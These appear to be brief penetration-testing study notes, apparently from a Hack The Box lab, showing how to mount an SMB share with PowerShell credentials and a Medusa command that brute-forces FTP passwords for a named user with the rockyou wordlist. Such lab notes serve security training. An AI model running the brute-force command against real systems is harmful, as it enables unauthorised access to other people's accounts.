Bloc de messages du serveur (SMB)
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findstr https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/gg651155(v=ws.11)
New-PSDrive -Name “N” -Root “\192.168.220.129\Finance” -PSProvider “FileSystem”
PS C:\htb> $username = ‘plaintext’ PS C:\htb> $password = ‘Password123’ PS C:\htb> $secpassword = ConvertTo-SecureString $password -AsPlainText -Force PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword PS C:\htb> New-PSDrive -Name “N” -Root “\192.168.220.129\Finance” -PSProvider “FileSystem” -Credential $cred
bruteforce ftp
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp